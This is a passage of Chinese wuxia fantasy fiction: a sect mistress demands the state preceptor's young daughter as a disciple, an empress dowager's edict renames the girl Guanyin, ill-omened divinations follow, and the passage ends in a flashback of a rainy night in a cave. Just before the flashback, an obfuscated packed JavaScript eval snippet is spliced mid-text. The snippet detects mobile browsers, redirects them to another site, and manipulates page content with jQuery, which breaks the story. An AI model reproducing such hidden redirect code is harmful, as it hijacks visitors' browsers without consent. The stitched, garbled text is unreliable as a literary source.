她从袖中取出一个小小的、绣着并蒂莲纹的锦囊,随手一抛。锦囊划过一道弧线,准确地落入凌霄子空着的那只手中。 “您上回……输给我的那笔赌债——”杨排风的嘴角,勾起一抹极淡的、带着些许狡黠的笑意。 “抵酒钱了!”凌霄子看也不看,将锦囊往怀里一塞,大吼一声,足尖在地上轻轻一点,拎着徒孙,如同一只巨大的夜枭,“嗖”地一声便掠过了庭院高高的墙头,转瞬消失在沉沉夜色之中。 夜风送来刘朔渐行渐远、满是委屈的嚷嚷:“师傅你又骗人!长白山的人参明明都被你上次偷挖光了……哪还有百年的……” 声音很快被风吹散。 庭院中重归寂静。月光如水,静静浸透廊下台阶前尚未化尽的残雪,反射着清冷柔和的光晕。 耶律皓南低着头,看着自己掌心——那里,不知何时,被妻子悄悄塞进了一个小小的、尚带着她体温的锦囊。 他打开锦囊。里面没有银票,没有珠宝。 只有一个用普通桃核精心雕琢而成的、不足拇指肚大小的微型“天门阵”模型。阵法线条纤毫毕现,甚至能看出七星的排列。而在阵眼的位置,嵌着一粒小小的、被摩挲得光润无比的金瓜子。 金瓜子的背面,用极细的刻刀,歪歪扭扭却又认真无比地,刻着六个小字—— 爹要长命百岁。 月光下,那六个字,和掌心尚未愈合的伤痕,一同映入耶律皓南的眼帘。 他静静地站着,许久未动。夜风拂过,带起他鬓角一缕早生的华发。 21. 往事流转,玉女临凡 辽国国师府的深秋庭院,仿佛被天地间最富丽的颜料肆意泼洒过。数株百年金杏与赤枫交错而立,杏叶是熔金般的暖黄,枫叶是烈火样的猩红,落叶在地上层层堆叠,铺就一幅斑斓绚丽、厚软如毡的巨大织锦。暮色初临,晚风掠过庭院,卷起漫天飞旋的赭色与鎏金,宛如千万只疲倦归巢的蝶。 凌霄子正揪着刘朔的后衣领,一边骂骂咧咧,一边将这十二岁的少年往府门外拖拽。“小兔崽子!跟你爹一个德行!好不容易仗打完了,不跟着师傅我出去游山玩水、挖宝觅药,整天窝在府里摆弄那几枚破铜钱!能有什么出息!” 刘朔四肢乱蹬,身上那件玄色劲装的下摆扫过地面堆积的落叶,卷起碎叶如同受惊的彩蝶纷飞。“师傅!挖参就挖参,你总得让我带捆绳子,带把药锄吧?您这架势……倒像是要拿我当诱饵,去喂长白山里的黑熊瞎子——” 他的话音还未落地。 “嗤——” 一道尖锐得仿佛能撕裂耳膜的、如同裂帛般的破空声,毫无征兆地撕开了沉沉暮色! 那声音来得太快,太急,以至于人眼根本无法捕捉到声源的轨迹。只觉得眼前青影一闪——不是看见,而是感知到一种极致的、冰寒刺骨的“青”,如同万载玄冰凝成的锋刃,切过了庭院的空间。 下一瞬,异变骤生! 以庭院中央那株最为高大的老银杏为中心,周围数丈内青石铺就的地面、台阶、栏杆……凡是暴露在空气中的表面,竟然以肉眼可见的速度,“咔嚓嚓”地凝结出一层晶莹剔透的白霜!那霜纹不是杂乱无章,而是如同有生命的蛛网般,迅速蔓延、交织,形成一幅复杂而诡异的冰晶图案!寒气四溢,庭院内的温度骤降,呵气成雾。 青影凝实。 一名身着玄色道袍的女子,不知何时,已静静立于那株老银杏最粗壮的一根横枝之下。她的身姿挺拔如松,道袍的质地奇特,看似轻薄,却在暮色与冰霜映照下,泛着一种金属般冷硬的光泽,上面用暗银色丝线绣着繁复的北斗星纹,随着光线角度变化若隐若现。她站在那里,纹丝不动,周身却散发出一种与周遭环境完全融为一体、仿佛自亘古以来便生于此处,长于此处的沉寂与威压。 她手中持着一柄拂尘。尘柄非金非玉,呈现一种温润却冰冷的月白色,顶端镶嵌着一小块晶莹剔透,内有云絮状纹路流转的昆仑寒玉。而那千万根拂尘银丝,此刻竟然无风自扬,缓缓飘拂,每一根银丝的末梢,都凝结着一点比针尖还细的、晶莹剔透的冰珠,散发着来自昆仑雪顶的极致寒气,将周围的空气都冻出细微的、肉眼可见的霜晶。 她的目光,如同两泓深不见底的寒潭,缓缓掠过因为这突如其来的变故而僵在原地的凌霄子,最后落在他那因为惊愕而微微张开的嘴上。 “凌霄。”她开口,声音不高,却奇异地穿透了寒气与暮色,清晰地送入每个人耳中,带着一种金石相击般的冷脆,“一别四十余载。” 她的嘴角,极其缓慢地、勾起一道细锐如刀锋般的弧度。 “你这钻徒弟裆下逃命的功夫……倒是比当年,精进了不少。” 钻……徒弟裆下……逃命? 刘朔的眼睛瞬间瞪得溜圆,难以置信地扭头看向自家师傅。凌霄子的脸色,在这句话出口的刹那,“唰”地一下变得惨白,抓着刘朔后领的手指猛地收紧,力道大得让少年忍不住“嘶”地倒抽一口冷气,痛呼出声。 聂隐娘的目光掠过凌霄子瞬间僵直、甚至微微发抖的脊背,那抹嘲讽的弧度愈发明显。“可惜啊……鼹鼠打洞再深,挖的土再多,也逃不过……苍鹰在高天之上的俯视。” 凌霄子的喉结剧烈地滚动了几下,嘴唇翕动,似乎想说什么,脸上青红交错,额头甚至渗出了细密的冷汗——那不是因为寒气,而是一种发自内心的、仿佛被无形绳索勒住了喉咙、喘不过气的惊惶与……心虚。 “你……”他从牙缝里挤出一个字,声音干涩得不成调,后面的话却无论如何也挤不出来了,竟然踉跄着向后退了半步! “咔嚓。”他的靴跟不慎碾碎了地上几片已被冻得酥脆的,枯蝶般的银杏叶,发出清晰的碎裂声,在死寂的庭院中格外刺耳。 刘朔趁着师傅手指松动的刹那,猛地挣脱了钳制。他揉着被勒痛的后颈,好奇地探出脑袋,目光毫不掩饰地打量着眼前这位气场强大到令人窒息的玄衣道姑。 聂隐娘的目光倏地一转,如同两道冰冷的闪电,掠过刘朔的眉宇。那目光锐利得仿佛能洞穿皮肉,直视骨髓。在那一刹,刘朔甚至有种浑身上下被看得透透的错觉。 “根骨倒是不错。”聂隐娘的声音依旧平淡,眼中那万古不化的冰河却仿佛乍破了一线,透出一丝极淡的、却又实实在在的审视与……惋惜?“可惜……已经染了满身的野狐禅,糟蹋了。” 野狐禅? 刘朔愣了愣,还没反应过来这是在说自己还是说师傅。 聂隐娘却已不再看他,手中拂尘忽地向凌霄子所在的方向虚虚一点! “嗖——” 一道尖锐刺耳的破风声骤起!拂尘银丝未动,一股凝练如实质的冰寒劲气却已破空而出,带起一股令人血液都要冻结的刺骨寒风,直扑凌霄子面门! “老废物!”聂隐娘的声音骤然转冷,如同冰锥凿石,“你自家那点微末道统尚未参透,也敢出来……误人子弟?” 凌霄子脸色大变,下意识地就要闪躲,身体却仿佛被那冰寒的气机锁定,动作迟滞了一瞬。 就在此时,聂隐娘却已经转过身,目光投向了一直静静立于正厅台阶之上、面无表情地看着这一切的耶律皓南。 她的手指微微一弹。 “咻——” 一枚物事从她袖中飞出,划过一道柔和的弧线,稳稳地悬停在耶律皓南面前的空中。 那是一枚约莫巴掌大小,通体洁白无瑕的羊脂玉珏。玉质温润如凝脂,在越发深沉的暮色中,竟然自行泛出一层月华般清冷皎洁的光晕,将周围数尺照得微亮。更奇异的是,玉珏表面浮雕着的北斗七星纹路,此刻竟然如同活物一般,缓缓流转、明灭,仿佛真的将一小片星空摘了下来,封印其中。 “贫道聂隐娘,玉女门第三十六代掌门。”她的声线平缓,不带丝毫烟火气,却字字如同经过千锤百炼的冰锥,清晰地凿进每个人的耳膜、心脏。“今日前来,乃为府上千金而来。” 她的目光,随着悬浮的玉珏缓缓转向内宅的方向。玉珏流转的清辉荡开一圈圈柔和却无孔不入的光晕,仿佛在探索、在呼唤。 “那孩子……眉蕴先天紫气,额映北斗星辉。”聂隐娘的声音里,第一次带上了一丝极淡的、却不容错辨的赞赏与……势在必得,“是修我玉女门不传之秘《太阴炼形》大道的……天选之材。” 天选之材!《太阴炼形》! 耶律皓南垂在身侧的手,指节骤然捏紧了腰间佩挂的那枚代表国师权柄的玄武玉佩,力道大得几乎要将其捏碎。然而他的面上,却依旧沉静如水,波澜不兴,只是瞳孔深处,有冰冷的锐光一闪而逝。 他尚未开口。 聂隐娘手中那柄一直静止的拂尘,忽然毫无征兆地、轻描淡写地向着庭院东侧——那座高约三丈、用以瞭望与防卫的箭楼,随意一扫。 动作很轻,很柔,仿佛只是拂去衣襟上的灰尘。 下一刹—— “噗……” 一阵轻微得近乎不可闻的、如同粉末坍塌的声响。 那座由坚硬红松木搭建、历经风雨、足有三丈高的箭楼,就在众人眼前,从底部开始,无声无息地化作了一蓬极其细腻的、灰白色的木质齑粉!粉尘纷纷扬扬地飘洒下来,混入地上斑斓的落叶之中,再也分不清彼此。 没有巨响,没有烟尘,没有任何剧烈的破坏迹象。就这么轻描淡写地,将一座坚固的建筑,化为了与落叶同等的存在。 庭院中,死一般的寂静。只有寒风拂过树梢、卷起落叶的沙沙声。 “此玉珏,乃西昆仑瑶台仙圃中、三千年蟠桃木心雕琢而成。”聂隐娘的声音依旧平缓,仿佛刚才那惊世骇俗的一幕与她毫无关系,“佩之可辟天下一切阴邪祟物,诸毒不侵,心魔不扰。” 她的目光再次落在耶律皓南脸上,那里面的冰冷与强势,毫不掩饰。“若是不愿收下贫道这份拜师礼——” 她手中拂尘的玉柄,忽地一转,稳稳指向了正偷偷摸摸往刘朔身后缩,恨不得将自己藏起来的凌霄子。 “贫道便先拆了这老贼的全身骨头,让他好好回味一下当年华山之巅的‘教导’。” “然后——”她的声音骤然转寒,如同万载玄冰崩裂,“再与你耶律国师,好好算一算这藏匿仙苗、阻人道途的……大罪!” 次日卯时三刻,天光未大亮,国师府门前青石板路上昨夜凝结的白霜尚未化尽。一队规制森严、气派非凡的车驾,已碾着这清冷的霜痕,稳稳停在了朱漆大门之前。 车驾以玄色为主,镶嵌着暗金色的鸾鸟纹饰,拉车的是四匹毛色纯黑、无一根杂毛的高大骏马,马鞍辔头皆以银饰装点,在晨曦微光中泛着冷冽的光泽。这是萧太后宫中特使的仪仗。 “铛——铛——铛——” 为首一名身着玄色礼袍、面容肃穆的女官,手持一面青铜云板,不轻不重地连击九下。云板声音清越悠长,穿透清晨寒冽的空气,惊起了国师府檐角栖息的几只寒鸦,“扑棱棱”地飞向灰蒙蒙的天空。 女官年约四旬,面容姣好却毫无表情,一双眼睛锐利如鹰。她身上的玄色礼袍用暗金色丝线绣满了繁复的九鸾衔珠纹,鸾鸟姿态各异,栩栩如生,显示着其主人在宫中地位尊崇。她手中稳稳托着一只尺余见方的紫檀木匣,匣盖未启,一股奇特的香气已先行弥漫开来——那是极品龙涎香混合着冰片的清冷气息,幽远持久,正是唯有萧太后近身侍从方有资格使用的御制香方。 府门大开,耶律皓南率府中眷属、仆从,已按制跪迎于庭院之中。 “国师耶律皓南——接旨——”女官清亮而毫无波澜的嗓音划破晨空。 她缓步上前,自身旁副使手中接过一卷玄色为底,两端以金轴装裱的卷轴,缓缓展开。卷轴质地非凡,竟是产自江南的极品冰蚕丝绢,触手冰凉柔滑。而更令人心惊的是,绢面上以银丝为线,精细地绣出了连绵的山河纹路,那山脉走向、河流分布……赫然是辽国西北边境、阴山山脉一带的地形图! “陛下有谕:”女官目光平视前方,声音不高不低,“国师耶律皓南,此番奉旨督师西夏,虽未竟全功,然临危不乱,稳守阴山隘口,保我大辽西陲不失,将士用命,其功可表。” “特赐——东海明珠十斛,漠北玄狐皮五十张,以彰其功。” 这是例行的赏赐,数目不菲,却也在情理之中。然而,女官的话音并未停顿。 “另——”她的目光,似有意若无意地扫过跪在耶律皓南身侧、年仅五岁、被乳母抱在怀中的幼女刘望舒,声线微不可察地提高了一丝,“擢其幼女,入宗室玉牒,赐姓‘萧’,授小字——‘观音’。” 赐姓萧!小字观音! 这两个词,如同两记重锤,狠狠砸在耶律皓南的心头。他的身体几不可察地微微一震,跪地的膝盖下,官袍下摆碾碎了地面未化的积霜,发出细微的“咔嚓”声。 赐姓“萧”,这是辽国后族的姓氏,是莫大的恩宠,意味着这个女孩从此与皇室有了血脉般的联系。而“观音”……这个名字,更是敏感无比。 女官忽然向前踏了半步,伸出一根保养得宜、涂着鲜红蔻丹的手指,轻轻掠过手中紫檀木匣的边缘。匣盖应手掀开一线,露出里面一柄通体翠绿、水头极足的翡翠如意。如意首端,精雕细琢着祥云灵芝纹,而在那纹路的中心,赫然阴刻着两个古奥的篆文小字—— 燕燕。 那是萧太后的闺名私印! “太后闻听,府上小娘子……生而握玉,掌纹天成北斗之形。”女官的声音压得极低,却足以让近前的耶律皓南听清,“此等异相,恰似……先帝早夭的那位观音女公主。” 她的目光深邃,紧紧锁着耶律皓南的眼睛,“此番赐名,乃是天大的恩典,亦是……太后对先帝、对那位早夭公主的一份念想。国师……可莫要辜负了。” 先帝早夭的观音女公主! 耶律皓南的心脏猛地一沉。他当然知道那位公主——出生不久便夭折,据说生时亦有异象,深得先帝与当时还是皇后的萧太后喜爱。其早夭,一直是萧太后心中隐痛。 而此刻太后将这个充满纪念与伤痛的名字,赐给了他的女儿…… 他的目光不由自主地落在那卷玄色丝绢诏书的边缘——那里,冰蚕丝绢本该洁白无瑕,此刻却沾染了几点极淡的、已呈暗红褐色的渍痕。那渍痕的位置与形状…… 耶律皓南的瞳孔骤然缩紧!他认得那渍痕!那是三日前,前线八百里加急送到盛京的军报上,记载着西夏铁鹞子突破阴山防线、辽军死伤数字的地方,被传令兵急迫中滴落的鲜血! 太后……竟然用这份沾着前线将士鲜血、记载着战事不利与伤亡的军报丝绢……重新誊写了这份充满“恩典”的赐名诏书! 一股冰冷的寒意,瞬间从耶律皓南的尾椎骨窜起,直冲头顶!他伸出手,恭敬地去接那卷诏书,指尖触及冰凉丝滑的绢面、以及那几点暗红血渍的刹那,掌心竟不可抑制地渗出了一层细密的冷汗。 太后早夭的爱女。赐名“观音”的暗示。军报上未干的血痕。翡翠如意上的私印。 这一切,如同一张无形的、却又密不透风的巨网,交织在一起,当头罩下!这不仅是恩赏,更是警告,是提醒,是……赤裸裸的敲打! 就在此时,跪在他身侧的刘朔,忽然伸出手,稳稳地扶住了父亲因为内心震撼而微微晃动的肘弯。少年的手指有力而温暖,带着安抚的力量。 然而刘朔的目光,却落在了那卷诏书边缘的血渍上。他的眉头微不可察地一蹙,扶着父亲的手指似乎无意地在那血渍边缘轻轻一划。 就在他指尖划过的同时,他垂在身侧另一只手的袖中,三枚一直被他温养贴身的“开元通宝”铜钱,竟然无声无息地滑落,“叮叮当当”地坠在了冰冷的青石地面上。 铜钱落地,并未胡乱滚动,而是奇异地呈现出一个特定的分布。 乾卦初爻变巽。 卦象显——“凤栖梧桐”。看似吉兆,寓意尊贵安稳。 可刘朔的瞳孔却猛地一缩!因为在那卦象的巽位(东南方),竟然隐隐约约地浮现出一道坎水陷落的虚影痕迹!这恰恰应了卦辞中最凶险的一种变化——“斧折鸾翼”之兆! 他猛地抬起头,目光急切地看向父亲。 父子二人的视线在空中相撞。彼此的瞳仁深处,都清晰地倒映出对方眼中那流转不息、充满不祥的卦象光影! 太后早逝的观音女。当下被赐名“观音”的幼妹。诏书上未干的前线将士血痕。 三代“观音”的命运轨迹,竟在这诡异的卦象中,交织缠绕,形成一张令人窒息的巨网,将那个年仅五岁、尚在乳母怀中懵懂不知的小女孩,牢牢罩在了中央! 耶律皓南反手,一把紧紧握住了儿子扶着自己的手腕。父子二人体内同源的玄门内力,在这紧握中不由自主地相互激荡,共鸣! “嗡——” 地面上那三枚呈现卦象的铜钱,仿佛被无形的力量引动,竟然齐刷刷地立了起来,在地面上高速旋转! 卦象骤变! 巽宫生离火,梧桐焚而凤泣血! 这正是当年萧太后为了彻底清除政敌、焚烧宫闱密卷与相关人等时,钦天监记录下的星象重现。那是一场血腥的清洗,无数人葬身火海。 “呃!”刘朔喉间溢出一声短促的、压抑的抽气。他的眼前,仿佛看见了更加具体的、令人心胆俱裂的画面:妹妹刘望舒那本该纯净祥和的命宫紫气,此刻竟被一道暗金色的、充满不祥的细线缠绕、拖拽,不由自主地向着北方——那巍峨森严的辽国宫阙方向蔓延而去。 而那金线的末端,隐约浮现出一方青玉砚台的虚影——那是朝堂之上、文臣攻讦构陷时,最常用的“笔砚杀人”之器的象征! “卦象……已定。”耶律皓南的声音沙哑,带着一种深沉的疲惫与无力。他猛地挥袖,一股柔和却不容抗拒的劲力拂出,将地面上那三枚仍在疯狂旋转、预示着不祥的铜钱震得粉碎。 “叮叮当当……”碎银如同点点泪珠,迸溅在冰冷的石阶之上。 他想起聂隐娘前夜掷下玉珏时,拂尘最后扫过庭院地面、在霜纹中留下的那幅残缺的太极图,以及她那句冰冷的箴言:“紫微星暗,瑶光西移。” 紫微帝星暗淡,代表帝王或皇权不稳;瑶光星(北斗第七星,又称破军)西移……西方,正是辽国宫城所在。 此刻太后的赐名,这充满政治寓意与血色暗示的“恩典”,竟与聂隐娘所言的玄机……隐隐相合。仿佛有一只无形的大手,在拨弄着命运的丝线,将他的女儿,也纳入了某个巨大而危险的棋局。 那名女官静静地看着这一切,脸上的表情始终未变,唯有嘴角极其细微地勾起了一抹难以察觉的、冰冷的弧度。 她忽然轻笑一声,那笑声在清冷的晨风中显得格外突兀。她从自己宽大的袍袖中,取出了一小截枯萎发黑、毫无生气的梅枝。 “太后命奴婢……顺路从瑶光殿前,摘来此枝残梅。”她的声音平静,“去岁陛下亲手所植的那株‘玉蝶’,今晨……竟遭冻雨摧折。” 她将那截枯梅枝,轻轻放在了紫檀木匣中、那柄翡翠如意的旁边。枯梅的断面处,虫蛀的斑驳痕迹清晰可见,而那虫蛀的位置与形状……竟与诏书丝绢边缘那几点暗红血渍的位置,诡异地重合! “太后说,国师通晓星象,博古通今。”女官的目光再次落在耶律皓南脸上,“当知……‘寒梅覆雪’之兆。” 寒梅覆雪——看似风雅,实则暗指美好事物被冰寒外力摧残、覆盖,乃不祥之兆。 “小娘子既承‘观音’之名,”她的声音转低,却字字清晰,“来日……莫要辜负了佛前玉净瓶中甘露、涤荡尘世之责才是。” 玉净瓶涤尘?这是期许,还是……暗示她未来将被卷入某种需要“清洗”的政治漩涡? 一阵寒风卷过庭前,枯梅枝上残存的几片干瘪花瓣簌簌落下,正好飘进耶律皓南因为接旨而摊开的掌心。 他的指尖触及那冰冷干枯的花瓣、以及花瓣上凝结的一层薄霜的刹那—— 灵台骤然一阵剧烈的眩晕!眼前光影扭曲,一幅清晰得令人心悸的幻象,猛地撞入他的脑海! 那是……若干年后,女儿刘望舒(萧观音)的及笄之礼。她身着华丽的宫装,亭亭玉立,然而颈间佩戴的,赫然是与辽宫旧制、某位早夭公主遗物一模一样的——九鸾衔珠金坠! 而在高高的礼台之上,一柄拂尘的银丝,正缓缓地、无情地扫向……她喉间那一点与生俱来的、嫣红如血的胭脂痣! 那拂尘……正是聂隐娘手中那柄! “不!”刘朔的惊呼声将耶律皓南从幻象中拉回。少年不知何时已抢前一步,一把从父亲掌心抢过了那截枯梅枝,他的脸色苍白,眼中却燃着不甘的火焰,手指飞快捏诀,竟是要以玄门真火将这不祥之物当场焚毁! 然而异变再生! 那截本已枯死的梅枝,在刘朔掌心玄门真火即将触及的刹那,竟然“嗤”地一声,从断面处,以肉眼可见的速度,冒出了一簇诡异的、充满生机的——嫩绿色新芽! 新芽迅速抽枝,展叶,那叶片的脉络纹路……竟然在晨光下,清晰地构成了一幅复杂的星辰运行轨迹图!那图案,耶律皓南与刘朔都认得——正是辽国与西夏此次签订盟约的具体日期所对应的夜空星图。 “啊!”刘朔如同被烙铁烫到一般,猛地将手中那诡异的梅枝掷出,身体不由自主地向后急退,狠狠撞在了身后父亲因为震骇而剧烈颤抖的肩胛之上。 父子血脉相连、同修玄门秘法所孕育出的那种奇异“灵犀”,在此刻被激发到了极致。两人的脑海中,同时浮现出一幅更加古老、更加血腥、似真似幻的画面: 许久之前,辽宫深处的某座冷殿。一位身着华美宫装、却面容憔悴、眼中含恨的年轻女子,在生命的最后时刻,用自己咬破的指尖,在冰冷的狱墙之上,一笔一划、艰难却执拗地,画下了一枝……与眼前这枯梅枝形态几乎一模一样的——梅花。 那梅花的最后一笔落下,她的生机也随之断绝,身体缓缓滑倒。唯有墙上那幅用鲜血绘成的梅花,在昏暗的光线下,凄艳而诡异地绽放着。 “臣……”耶律皓南的声音沙哑得不成调,他深深地吸了一口气,强行压下心头翻江倒海的震撼与恐惧,俯下身,以额触地,对着那卷诏书与紫檀木匣,行了一个标准的臣子大礼。 “谢太后……赐名隆恩。” 他的额角,紧紧抵在冰冷刺骨的青石台阶上。诏书卷轴的边缘,恰好碾过他昨夜因为心绪不宁,为女儿暗中占卜凶吉时,不慎咬破的下唇伤口。一缕鲜血渗出,无声地浸入了丝绢上那两个以银丝绣就的、在晨光下泛着冷光的字—— 观音。 “铛啷啷……” 庭院檐角悬挂的铁马,忽然被一阵不知从何而起的狂风卷得剧烈摇晃、相互撞击,发出一连串急促而凌乱、仿佛能扰乱人心神的金属撞击声。 父子二人同时抬头。 只见那截被刘朔掷出、落在地上的枯梅枝,此刻竟然在狂风中自行化作了一缕灰黑色的烟气,烟气盘旋升腾,在空中扭曲、变化,最终凝成了一个清晰无比的卦象图案—— 那正是玉女门秘传的“太阴炼形”阵法启动时,所对应的特定星象符咒! 聂隐娘所限定的“一夜之期”…… 此刻,正如同一柄无形的、锋利无比的利剑,高高悬于耶律氏一门的头顶,寒光凛冽,杀机四伏。 萧太后赐名的玄色诏书尚在紫檀案头静卧,龙涎香混着冰片的余韵在书房中幽幽盘旋。耶律皓南指间三枚用以占卜的“开元通宝”铜钱,边缘已被他不自觉催发的内力烙出焦黑痕迹。昨夜推演的卦象如同万载冰锥,一次次凿刺着他的心脏——那五岁幼女命宫中本该纯净祥和的紫气,竟与辽宫星宿诡异地纠缠在一起,形成一个凶险无比的死局。 正当他捻起一炷安神香,欲焚香静心、再行占卜时—— “咔嚓!” 庭院中那株百年银杏,突然发出一声令人牙酸的巨响!粗壮的主干竟从中而断,断口平整如镜,仿佛被无形利刃瞬间切割。而在那断口之上,一道青影已无声立定,玄色道袍在晨光中流转着冰蚕丝特有的冷冽光泽,袍身暗绣的北斗星纹随光线变化时隐时现,襟口一抹朱砂色痕迹鲜艳欲滴,似是用千年血玉髓反复浸染而成。 正是去而复返的玉女门掌门——聂隐娘。 她手中那柄拂尘,此刻完全展露出其不凡。尘柄是一整段昆仑山巅的万年寒玉雕琢而成,通体莹白剔透,内有冰絮状纹理自然流转,握在掌中时,方圆三尺内的空气都会凝出细霜。而那千丝万缕的拂尘银丝,更是取自极北冰原深处,已开灵智的千年雪狼王尾尖最柔韧的三寸银毫,每一根都经过玉女门秘法淬炼百年,不染尘埃,不惧刀火,自行流转着月华般清冷皎洁的光晕。 “耶律国师。”聂隐娘开口,声音如同玉磬轻击,清越却冰寒。她伸出一根手指,指尖轻柔地抚过拂尘柄上镶嵌的那颗鸽卵大小、内蕴星芒的昆仑寒玉,“玉女门蓬莱仙库之中,藏有周穆王西巡时、亲赠西王母的‘驻颜璎珞’。” 她的目光似乎穿越了时空,“此璎珞以九天织女遗落的云霞为线,串起东海鲛人泪珠、南山不老松脂、西极昆吾玉片、北冥玄冰晶,佩之可保少女百年容颜不改,青春永驻。” “还有禹皇治水时,以定海神铁混合四海精金、采集天地初开时一缕清气铸就的‘定海珠’。”她的手腕微微一转,拂尘银丝无风自扬,“此珠能镇一切地脉水煞,安魂定魄,纵是滔天业力加身,亦可护持命宫星辉不堕。” 话音未落,一枚玉珏已自她广袖中飘然飞出。那玉珏不过巴掌大小,却是用整块和阗羊脂玉髓雕琢而成,通体无瑕,在晨光下呈现出一种温润如凝脂、又透着灵性的光泽。玉珏悬于空中,自行缓缓旋转,漾出的霞光竟在空中凝成一朵朵精致无比的桃花形状,花瓣层层绽放,仿佛有生命一般。 “留在这辽国宫阙之中……”聂隐娘的目光陡然转利,如同冰刃刮过耶律皓南的脸庞,“这孩子,活不过注定被赐下白绫的年岁。” “而入我玉女门下——”她的嘴角勾起一抹极淡的、睥睨一切的弧度,“方才所言诸物,不过是给新入门弟子把玩的……寻常玩物罢了。” 随着她的话语,那玉珏漾出的霞光扫过庭院地面。奇异的一幕发生了——满地金杏赤枫的落叶,竟然逆着晨风,纷纷扬扬地飞起,在空中自行拼接、组合,形成一幅流动的画卷: 五岁幼女,身着华服,跪接诏书,颈间被戴上一枚金锁(赐名); 十五岁少女,于书案前提笔凝思,窗外隐有刀兵影子,桌上诗稿被鲜血浸染(诗案); 及笄之日,盛装的少女对镜梳妆,喉间那点嫣红的胭脂痣,竟缓缓渗出一缕触目惊心的血线…… 画面至此,戛然而止,所有落叶颓然坠地。 聂隐娘广袖翻飞间,腕间露出一串共十八粒的沉香木珠。木珠颗颗浑圆,色泽沉稳如墨,表面天然形成的油线纹理如同流云山水。一股清冽中透着甘醇、沁人心脾的异香瞬间弥漫开来,让人闻之精神一振,心绪都为之平和几分。 那是取自南海深处,生长逾千年的奇楠沉香木心,由玉女门匠人以秘法雕琢而成,每一粒木珠的价值,都足以抵得上塞外良马数十匹,或是黄金万两! “啪嗒。” 廊柱阴影后,凌霄子手中那只啃了一半的油汪汪的烧鸡,直挺挺地掉在了地上。他的脸色在看清聂隐娘腕间那串沉香木珠的刹那,就已经开始发青,此刻更是惨白如纸,嘴唇哆嗦着,下意识地就要往柱子后面缩,恨不得将自己嵌进木头里。 聂隐娘的目光,如同早已锁定猎物的鹰隼,精准地落在了他身上。她手中拂尘轻轻一抖,一根银丝如同有生命般灵活探出,轻巧地勾住了凌霄子衣领上一根因为慌乱而绽开的线头。 “凌霄。”她的声音不高,却让凌霄子全身猛地一颤,“华山洞天那四十九日……你可还记得?” 她的目光扫过凌霄子因为紧张而不断滚动的喉结,嘴角那抹冷笑愈发明显:“你每日三餐的食量、每盏茶的温度、每次打坐的时辰与姿势,皆由我亲自依据《唐宫尚仪局养生典籍》,为你量身定制。” “连你贴身中衣上所绣云纹的针数、走线的疏密、乃至衣带打结的方式……”她的声音顿了顿,凌霄子的额头已经渗出了冷汗,“我都——亲自过目,一一核验。” “嗖!” 一卷金丝为边、帛面如玉的卷轴,从聂隐娘袖中飞出,“哗啦”一声在凌霄子面前展开! 帛书之上,以工整的唐楷写就一篇《修身十规》,从“晨起卯时正,面东叩齿三十六,咽津九度”,到“夜寝子时前,沐足水温以手背试之不烫为宜”,事无巨细,条分缕析。而其中“每日晨起需叩齿三十六下”这一条旁,赫然用朱笔批注着一行小字:“齿为骨之余,肾主骨生髓,叩齿可固肾元,尤其前夜饮酒后必行。” 那朱笔字迹的运笔习惯、转折勾挑……凌霄子熟悉得不能再熟悉!正是聂隐娘的笔迹!** “你……你连我吃块炙羊肉,该蘸椒盐还是饴糖……都要管!”凌霄子脸色由白转红,又由红转青,最后从牙缝里挤出这句充满委屈与恐惧的话,“这婆娘……简直是把唐宫尚仪局那套管教妃嫔的规矩……全他娘的搬来修仙了!” “还有——”聂隐娘的声音骤然转冷,如同数九寒天的冰碴,“你那夜卷铺盖逃跑时,顺手牵羊,摸走了我案头那对用南诏犀牛王顶角雕成的夜光杯!” 凌霄子浑身一抖,彻底面如土色,嘴唇嚅嗫着,再也发不出任何声音,只是下意识地又往后缩了缩,靴底在青石地面上划出半道焦黑的痕迹——那是他紧张到极致、内力不受控制外泄所致。 看着凌霄子这副老鼠见了猫的狼狈模样,一段被耶律皓南深深埋藏、已蒙上岁月尘埃的记忆,猛地撞开心扉,鲜活地浮现在眼前。 那是十二年前,宋辽边境一个漆黑的雨夜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185049|196997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 山洞外雷电交加,狂风暴雨抽打着岩壁。洞内,一小堆篝火勉强驱散着寒意与黑暗,火光在潮湿的岩壁上投下摇曳不定的影子。 他因为强行冲关一门霸道功法而内力逆行,五脏六腑如同被放在烈火上灼烧,又似被千万根冰针攢刺,冷汗早已浸透了身上单薄的粗麻中衣,贴在皮肤上,带来黏腻刺骨的寒意。意识在剧痛与昏沉之间不断徘徊,每一次呼吸都带着血腥气。 杨排风跪坐在他身侧,身上同样湿透的衣衫还在滴着水。她咬着唇,一声不吭地撕下自己已经破损的衣摆内衬——那是她身上唯一一块相对干净柔软的布料,用力拧干后,轻柔却又带着些许笨拙地为他擦拭额头不断渗出的冷汗。 火光映亮了她年轻的脸庞,雨水混着她眼眶中强忍未落的泪水,在她睫毛上凝成细碎的水珠。她的手在微微颤抖,不知是因为寒冷,还是因为心疼与恐惧。 忽然—— 她丢开了手中的布片,从后面猛地伸出双臂,紧紧地,用尽全身力气地抱住了他的腰身。她的脸埋在他汗湿冰冷的后背,声音因为压抑的哭腔而有些模糊,却又异常清晰地撞进他的耳膜,他的心脏: “耶律皓南……我跟你回辽国!” “就算……就算以后真的会死……我也绝不后悔!” 这是她第一次如此直白地表露心迹。而第二次,来得更加炽烈而突然。 也许是被他身上越来越低的体温吓到,也许是被洞外无休无止的暴雨和雷电刺激,她忽然抬起头,滚烫的,因为紧张而微微颤抖的唇,毫无预兆地贴上了他后颈裸露的皮肤。 那一瞬的触感如同烙铁,烫得耶律皓南全身剧烈一震。与此同时,因为她过于激动的动作,她身上那件本就简陋的粗麻中衣带子不慎松脱,衣襟滑落,露出一小片肩头的肌肤——在那锁骨下方,赫然有一点殷红如血的朱砂痣,在跳动的火光映照下,宛如雪地之中骤然绽放的一朵红梅,刺目而惊心。 